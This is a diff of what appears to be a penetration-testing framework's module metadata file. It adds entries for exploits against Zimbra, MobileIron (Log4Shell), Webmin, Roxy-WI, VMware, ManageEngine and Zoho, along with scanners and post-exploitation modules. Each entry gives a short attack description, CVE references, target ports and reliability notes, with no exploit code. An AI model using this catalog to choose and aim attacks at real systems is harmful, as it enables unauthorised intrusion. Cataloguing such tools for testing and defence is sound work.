"targets": null,
"mod_time": "2022-08-16 06:31:25 +0000",
"path": "/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.rb",
"is_install_path": true,
"ref_name": "scanner/http/cisco_asa_asdm_bruteforce",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/cisco_device_manager": {
"name": "Cisco Device HTTP Device Manager Access",
"fullname": "auxiliary/scanner/http/cisco_device_manager",
@@ -26310,7 +26540,7 @@
"https"
],
"targets": null,
"mod_time": "2022-03-16 14:24:45 +0000",
"mod_time": "2022-06-15 11:35:30 +0000",
"path": "/modules/auxiliary/scanner/http/crawler.rb",
"is_install_path": true,
"ref_name": "scanner/http/crawler",
@@ -44392,6 +44622,53 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/scada/bacnet_l3": {
"name": "BACnet Scanner",
"fullname": "auxiliary/scanner/scada/bacnet_l3",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Paz <Paz @ SCADAfence>"
],
"description": "Discover BACnet devices by broadcasting Who-is message, then poll\n discovered devices for properties including model name,\n software version, firmware revision and description.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-08-01 15:11:57 +0000",
"path": "/modules/auxiliary/scanner/scada/bacnet_l3.rb",
"is_install_path": true,
"ref_name": "scanner/scada/bacnet_l3",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"unreliable-session"
],
"SideEffects": [
"screen-effects"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/scada/digi_addp_reboot": {
"name": "Digi ADDP Remote Reboot Initiator",
"fullname": "auxiliary/scanner/scada/digi_addp_reboot",
@@ -47376,7 +47653,7 @@
],
"targets": null,
"mod_time": "2022-01-23 15:28:32 +0000",
"mod_time": "2022-07-19 16:04:41 +0000",
"path": "/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb",
"is_install_path": true,
"ref_name": "scanner/ssl/openssl_heartbleed",
@@ -47455,7 +47732,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-07-25 14:51:37 +0000",
"path": "/modules/auxiliary/scanner/telephony/wardial.rb",
"is_install_path": true,
"ref_name": "scanner/telephony/wardial",
@@ -49775,7 +50052,7 @@
],
"targets": null,
"mod_time": "2020-05-12 22:15:21 +0000",
"mod_time": "2022-07-29 12:58:55 +0000",
"path": "/modules/auxiliary/server/capture/imap.rb",
"is_install_path": true,
"ref_name": "server/capture/imap",
@@ -56813,6 +57090,59 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/fileformat/unrar_cve_2022_30333": {
"name": "UnRAR Path Traversal (CVE-2022-30333)",
"fullname": "exploit/linux/fileformat/unrar_cve_2022_30333",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-28",
"type": "exploit",
"author": [
"Simon Scannell",
"Ron Bowes"
],
"description": "This module creates a RAR file that exploits CVE-2022-30333, which is a\n path-traversal vulnerability in unRAR that can extract an arbitrary file\n to an arbitrary location on a Linux system. UnRAR fixed this\n vulnerability in version 6.12 (open source version 6.1.7).\n\n The core issue is that when a symbolic link is unRAR'ed, Windows\n symbolic links are not properly validated on Linux systems and can\n therefore write a symbolic link that points anywhere on the filesystem.\n If a second file in the archive has the same name, it will be written\n to the symbolic link path.",
"references": [
"CVE-2022-30333",
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Generic RAR file"
],
"mod_time": "2022-08-01 10:03:35 +0000",
"path": "/modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb",
"is_install_path": true,
"ref_name": "linux/fileformat/unrar_cve_2022_30333",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/ftp/proftp_sreplace": {
"name": "ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)",
"fullname": "exploit/linux/ftp/proftp_sreplace",
@@ -63542,6 +63872,78 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/mobileiron_core_log4shell": {
"name": "MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)",
"fullname": "exploit/linux/http/mobileiron_core_log4shell",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-12-12",
"type": "exploit",
"author": [
"Spencer McIntyre",
"RageLtMan <rageltman@sempervictus>",
"rwincey",
"jbaines-r7"
],
"description": "MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server\n will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS\n command execution in the context of the tomcat user.\n\n This module will start an LDAP server that the target will need to connect to.",
"references": [
"CVE-2021-44228",
"URL-https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis",
"URL-https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US",
"URL-https://www.mandiant.com/resources/mobileiron-log4shell-exploitation"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux"
],
"mod_time": "2022-08-02 11:04:13 +0000",
"path": "/modules/exploits/linux/http/mobileiron_core_log4shell.rb",
"is_install_path": true,
"ref_name": "linux/http/mobileiron_core_log4shell",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"AKA": [
"Log4Shell",
"LogJam"
],
"Reliability": [
"repeatable-session"
],
"RelatedModules": [
"auxiliary/scanner/http/log4shell_scanner",
"exploit/multi/http/log4shell_header_injection"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/mobileiron_mdm_hessian_rce": {
"name": "MobileIron MDM Hessian-Based Java Deserialization RCE",
"fullname": "exploit/linux/http/mobileiron_mdm_hessian_rce",
@@ -66285,6 +66687,68 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/roxy_wi_exec": {
"name": "Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE",
"fullname": "exploit/linux/http/roxy_wi_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-07-06",
"type": "exploit",
"author": [
"Nuri Çilengir <nuri@prodaft.com>"
],
"description": "This module exploits an unauthenticated command injection vulnerability in Roxy-WI\n prior to version 6.1.1.0. Successful exploitation results in remote code execution\n under the context of the web server user.\n\n Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.",
"references": [
"URL-https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/",
"URL-https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532",
"URL-https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755",
"CVE-2022-31137"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix (In-Memory)",
"Linux (Dropper)"
],
"mod_time": "2022-07-25 13:05:04 +0000",
"path": "/modules/exploits/linux/http/roxy_wi_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/roxy_wi_exec",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/saltstack_salt_api_cmd_exec": {
"name": "SaltStack Salt REST API Arbitrary Command Execution",
"fullname": "exploit/linux/http/saltstack_salt_api_cmd_exec",
@@ -68995,6 +69459,70 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/webmin_package_updates_rce": {
"name": "Webmin Package Updates RCE",
"fullname": "exploit/linux/http/webmin_package_updates_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-07-26",
"type": "exploit",
"author": [
"Christophe De La Fuente",
"Emir Polat"
],
"description": "This module exploits an arbitrary command injection in Webmin\n versions prior to 1.997.\n\n Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform\n package updates and installation. Due to a lack of input\n sanitization, it is possibe to inject arbitrary command that will be\n concatenated to the package manager call.\n\n This exploit requires authentication and the account must have access\n to the Software Package Updates module.",
"references": [
"EDB-50998",
"URL-https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165",
"CVE-2022-36446"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, aarch64",
"rport": 10000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix In-Memory",
"Linux Dropper (x86 & x64)",
"Linux Dropper (ARM64)"
],
"mod_time": "2022-08-09 15:09:25 +0000",
"path": "/modules/exploits/linux/http/webmin_package_updates_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/webmin_package_updates_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/webmin_packageup_rce": {
"name": "Webmin Package Updates Remote Command Execution",
"fullname": "exploit/linux/http/webmin_packageup_rce",
@@ -69348,6 +69876,70 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/zimbra_unrar_cve_2022_30333": {
"name": "UnRAR Path Traversal in Zimbra (CVE-2022-30333)",
"fullname": "exploit/linux/http/zimbra_unrar_cve_2022_30333",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-28",
"type": "exploit",
"author": [
"Simon Scannell",
"Ron Bowes"
],
"description": "This module creates a RAR file that can be emailed to a Zimbra server\n to exploit CVE-2022-30333. If successful, it plants a JSP-based\n backdoor in the public web directory, then executes that backdoor.\n\n The core vulnerability is a path-traversal issue in unRAR that can\n extract an arbitrary file to an arbitrary location on a Linux system.\n\n This issue is exploitable on the following versions of Zimbra, provided\n UnRAR version 6.11 or earlier is installed:\n\n * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)\n * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)",
"references": [
"CVE-2022-30333",
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25",
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32",
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Zimbra Collaboration Suite"
],
"mod_time": "2022-08-04 08:24:32 +0000",
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
"is_install_path": true,
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/zimbra_xxe_rce": {
"name": "Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF",
"fullname": "exploit/linux/http/zimbra_xxe_rce",
@@ -73076,6 +73668,59 @@
],
"needs_cleanup": null
},
"exploit_linux/local/vmware_workspace_one_access_certproxy_lpe": {
"name": "VMware Workspace ONE Access CVE-2022-31660",
"fullname": "exploit/linux/local/vmware_workspace_one_access_certproxy_lpe",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-08-02",
"type": "exploit",
"author": [
"Spencer McIntyre"
],
"description": "VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\n to those of the root user by modifying a file and then restarting the vmware-certproxy service which\n invokes it. The service control is permitted via the sudo configuration without a password.",
"references": [
"CVE-2022-31660",
"URL-https://www.vmware.com/security/advisories/VMSA-2022-0021.html"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2022-08-03 17:45:06 +0000",
"path": "/modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb",
"is_install_path": true,
"ref_name": "linux/local/vmware_workspace_one_access_certproxy_lpe",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null
},
"exploit_linux/local/yum_package_manager_persistence": {
"name": "Yum Package Manager Persistence",
"fullname": "exploit/linux/local/yum_package_manager_persistence",
@@ -73119,6 +73764,60 @@
],
"needs_cleanup": true
},
"exploit_linux/local/zimbra_slapper_priv_esc": {
"name": "Zimbra zmslapd arbitrary module load",
"fullname": "exploit/linux/local/zimbra_slapper_priv_esc",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-10-27",
"type": "exploit",
"author": [
"Darren Martyn",
"Ron Bowes"
],
"description": "This module exploits CVE-2022-37393, which is a vulnerability in\n Zimbra's sudo configuration that permits the zimbra user to execute\n the zmslapd binary as root with arbitrary parameters. As part of its\n intended functionality, zmslapd can load a user-defined configuration\n file, which includes plugins in the form of .so files, which also\n execute as root.",
"references": [
"CVE-2022-37393",
"URL-https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/"
],
"platform": "Linux",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Auto"
],
"mod_time": "2022-08-04 08:19:44 +0000",
"path": "/modules/exploits/linux/local/zimbra_slapper_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/zimbra_slapper_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true
},
"exploit_linux/local/zpanel_zsudo": {
"name": "ZPanel zsudo Local Privilege Escalation Exploit",
"fullname": "exploit/linux/local/zpanel_zsudo",
@@ -136409,6 +137108,69 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/advantech_iview_networkservlet_cmd_inject": {
"name": "Advantech iView NetworkServlet Command Injection",
"fullname": "exploit/windows/http/advantech_iview_networkservlet_cmd_inject",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-28",
"type": "exploit",
"author": [
"rgod",
"y4er",
"Shelby Pace"
],
"description": "Versions of Advantech iView software below `5.7.04.6469` are\n vulnerable to an unauthenticated command injection vulnerability\n via the `NetworkServlet` endpoint.\n The database backup functionality passes a user-controlled parameter,\n `backup_file` to the `mysqldump` command. The sanitization functionality only\n tests for SQL injection attempts and directory traversal, so leveraging the\n `-r` and `-w` `mysqldump` flags permits exploitation.\n The command injection vulnerability is used to write a payload on the target\n and achieve remote code execution as NT AUTHORITY\\SYSTEM.",
"references": [
"URL-https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/",
"CVE-2022-2143"
],
"platform": "Windows",
"arch": "x86, x64, cmd",
"rport": 8080,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Dropper",
"Windows Command"
],
"mod_time": "2022-08-09 16:12:54 +0000",
"path": "/modules/exploits/windows/http/advantech_iview_networkservlet_cmd_inject.rb",
"is_install_path": true,
"ref_name": "windows/http/advantech_iview_networkservlet_cmd_inject",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/advantech_iview_unauth_rce": {
"name": "Advantech iView Unauthenticated Remote Code Execution",
"fullname": "exploit/windows/http/advantech_iview_unauth_rce",
@@ -142510,6 +143272,68 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/manageengine_adaudit_plus_cve_2022_28219": {
"name": "ManageEngine ADAudit Plus CVE-2022-28219",
"fullname": "exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-29",
"type": "exploit",
"author": [
"Naveen Sunkavally",
"Ron Bowes"
],
"description": "This module exploits CVE-2022-28219, which is a pair of\n vulnerabilities in ManageEngine ADAudit Plus versions before build\n 7060: a path traversal in the /cewolf endpoint, and a blind XXE in,\n to upload and execute an executable file.",
"references": [
"CVE-2022-28219",
"URL-https://www.horizon3.ai/red-team-blog-cve-2022-28219/",
"URL-https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis",
"URL-https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html"
],
"platform": "Windows",
"arch": "cmd",
"rport": 8081,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Command"
],
"mod_time": "2022-08-05 11:34:46 +0000",
"path": "/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb",
"is_install_path": true,
"ref_name": "windows/http/manageengine_adaudit_plus_cve_2022_28219",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/manageengine_adselfservice_plus_cve_2021_40539": {
"name": "ManageEngine ADSelfService Plus CVE-2021-40539",
"fullname": "exploit/windows/http/manageengine_adselfservice_plus_cve_2021_40539",
@@ -146837,6 +147661,72 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/zoho_password_manager_pro_xml_rpc_rce": {
"name": "Zoho Password Manager Pro XML-RPC Java Deserialization",
"fullname": "exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2022-06-24",
"type": "exploit",
"author": [
"Vinicius",
"Y4er",
"Grant Willcox"
],
"description": "This module exploits a Java deserialization vulnerability in Zoho ManageEngine Pro\n before 12101 and PAM360 before 5510. Unauthenticated attackers can send a\n crafted XML-RPC request containing malicious serialized data to /xmlrpc to\n gain RCE as the SYSTEM user.",
"references": [
"CVE-2022-35405",
"URL-https://xz.aliyun.com/t/11578",
"URL-https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html",
"URL-https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm"
],
"platform": "Windows",
"arch": "cmd, x64",
"rport": 7272,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows EXE Dropper",
"Windows Command",
"Windows Powershell"
],
"mod_time": "2022-08-02 14:27:27 +0000",
"path": "/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/zoho_password_manager_pro_xml_rpc_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/ibm/ibm_was_dmgr_java_deserialization_rce": {
"name": "IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution",
"fullname": "exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce",
@@ -147002,7 +147892,7 @@
"author": [
"hdm <x@hdm.io>"
],
"description": "This exploits a buffer overflow in the request processor of\n the Internet Printing Protocol ISAPI module in IIS. This\n module works against Windows 2000 service pack 0 and 1. If\n the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
"description": "This exploits a buffer overflow in the request processor of the\n Internet Printing Protocol ISAPI module in IIS. This module\n works against Windows 2000 Server and Professional SP0-SP1.\n\n If the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
"references": [
"CVE-2001-0241",
"OSVDB-3323",
@@ -147011,18 +147901,43 @@
"URL-https://seclists.org/lists/bugtraq/2001/May/0005.html"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows 2000 English SP0-SP1"
"Windows 2000 SP0-SP1 (Arabic)",
"Windows 2000 SP0-SP1 (Czech)",
"Windows 2000 SP0-SP1 (Chinese)",
"Windows 2000 SP0-SP1 (Dutch)",
"Windows 2000 SP0-SP1 (English)",
"Windows 2000 SP0-SP1 (French)",
"Windows 2000 SP0-SP1 (Finnish)",
"Windows 2000 SP0-SP1 (German)",
"Windows 2000 SP0-SP1 (Korean)",
"Windows 2000 SP0-SP1 (Hungarian)",
"Windows 2000 SP0-SP1 (Italian)",
"Windows 2000 SP0-SP1 (Portuguese)",
"Windows 2000 SP0-SP1 (Spanish)",
"Windows 2000 SP0-SP1 (Swedish)",
"Windows 2000 SP0-SP1 (Turkish)",
"Windows 2000 Pro SP0 (Greek)",
"Windows 2000 Pro SP1 (Greek)"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-09 01:36:10 +0000",
"path": "/modules/exploits/windows/iis/ms01_023_printer.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms01_023_printer",
@@ -147030,6 +147945,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -147195,7 +148119,7 @@
],
"rank": 300,
"disclosure_date": "2002-11-20",
"disclosure_date": "2002-11-02",
"type": "exploit",
"author": [
"aushack <patrick@osisecurity.com.au>"
@@ -147209,7 +148133,7 @@
"URL-http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
@@ -147227,9 +148151,18 @@
"https"
],
"targets": [
"Windows 2000 Pro English SP0"
"Windows 2000 Pro SP0-SP3 (English)",
"Windows 2000 Pro SP0 (Korean)",
"Windows 2000 Pro SP0 (Dutch)",
"Windows 2000 Pro SP0 (Finnish)",
"Windows 2000 Pro SP0 (Turkish)",
"Windows 2000 Pro SP0-SP1 (Greek)",
"Windows 2000 Pro SP1 (Arabic)",
"Windows 2000 Pro SP1 (Czech)",
"Windows 2000 Pro SP2 (French)",
"Windows 2000 Pro SP2 (Portuguese)"
],
"mod_time": "2017-11-09 03:00:24 +0000",
"mod_time": "2022-07-15 00:15:56 +0000",
"path": "/modules/exploits/windows/iis/ms02_065_msadc.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms02_065_msadc",
@@ -147237,6 +148170,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -147253,15 +148195,16 @@
"author": [
"hdm <x@hdm.io>"
],
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against any service pack.",
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against SP0 to SP3.",
"references": [
"CVE-2003-0109",
"OSVDB-4467",
"BID-7116",
"PACKETSTORM-30939",
"MSB-MS03-007"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
@@ -147281,7 +148224,7 @@
"targets": [
"Automatic Brute Force"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-07 20:31:57 +0000",
"path": "/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms03_007_ntdll_webdav",
@@ -147289,6 +148232,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -151413,7 +152365,7 @@
"targets": [
"Windows Vista, 7, and 2008"
],
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-07-28 11:02:59 +0000",
"path": "/modules/exploits/windows/local/ms10_092_schelevator.rb",
"is_install_path": true,
"ref_name": "windows/local/ms10_092_schelevator",
@@ -201059,17 +202011,17 @@
"Carlos Perez <carlos_perez@darkoperator.com>",
"egypt <egypt@metasploit.com>"
],
"description": "This module prints out the operating system environment variables",
"description": "This module prints out the operating system environment variables.",
"references": [
],
"platform": "Linux,Windows",
"platform": "Linux,Unix,Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-01 13:37:15 +0000",
"path": "/modules/post/multi/gather/env.rb",
"is_install_path": true,
"ref_name": "multi/gather/env",
@@ -201077,8 +202029,18 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"powershell",
"shell",
"meterpreter"
],
@@ -203055,7 +204017,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-11-04 05:28:32 +0000",
"mod_time": "2022-05-24 08:44:37 +0000",
"path": "/modules/post/multi/recon/sudo_commands.rb",
"is_install_path": true,
"ref_name": "multi/recon/sudo_commands",
@@ -205015,7 +205977,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-02 10:43:57 +0000",
"mod_time": "2022-07-20 17:21:58 +0000",
"path": "/modules/post/windows/gather/checkvm.rb",
"is_install_path": true,
"ref_name": "windows/gather/checkvm",
@@ -208620,7 +209582,7 @@
"author": [
"averagesecurityguy <stephen@averagesecurityguy.info>"
],
"description": "This module will check the file system and registry for particular artifacts. The\n list of artifacts is read from data/post/enum_artifacts_list.txt or a user specified file. Any\n matches are written to the loot.",
"description": "This module will check the file system and registry for particular artifacts.\n\n The list of artifacts is read in YAML format from data/post/enum_artifacts_list.txt\n or a user specified file. Any matches are written to the loot.",
"references": [
],
@@ -208630,7 +209592,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-08-07 16:01:45 +0000",
"path": "/modules/post/windows/gather/enum_artifacts.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_artifacts",
@@ -208638,8 +209600,19 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"shell",
"powershell",
"meterpreter"
],
"needs_cleanup": null
@@ -209344,7 +210317,7 @@
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module will enumerate current and recently logged on Windows users",
"description": "This module will enumerate current and recently logged on Windows users.",
"references": [
],
@@ -209354,7 +210327,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-08-08 01:50:36 +0000",
"path": "/modules/post/windows/gather/enum_logged_on_users.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_logged_on_users",
@@ -209362,8 +210335,19 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"powershell",
"shell",
"meterpreter"
],
"needs_cleanup": null
@@ -209514,7 +210498,7 @@
"needs_cleanup": null
},
"post_windows/gather/enum_powershell_env": {
"name": "Windows Gather Powershell Environment Setting Enumeration",
"name": "Windows Gather PowerShell Environment Setting Enumeration",
"fullname": "post/windows/gather/enum_powershell_env",
"aliases": [
@@ -209525,9 +210509,10 @@
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module will enumerate Microsoft Powershell settings",
"description": "This module will enumerate Microsoft PowerShell settings.",
"references": [
"URL-https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies",
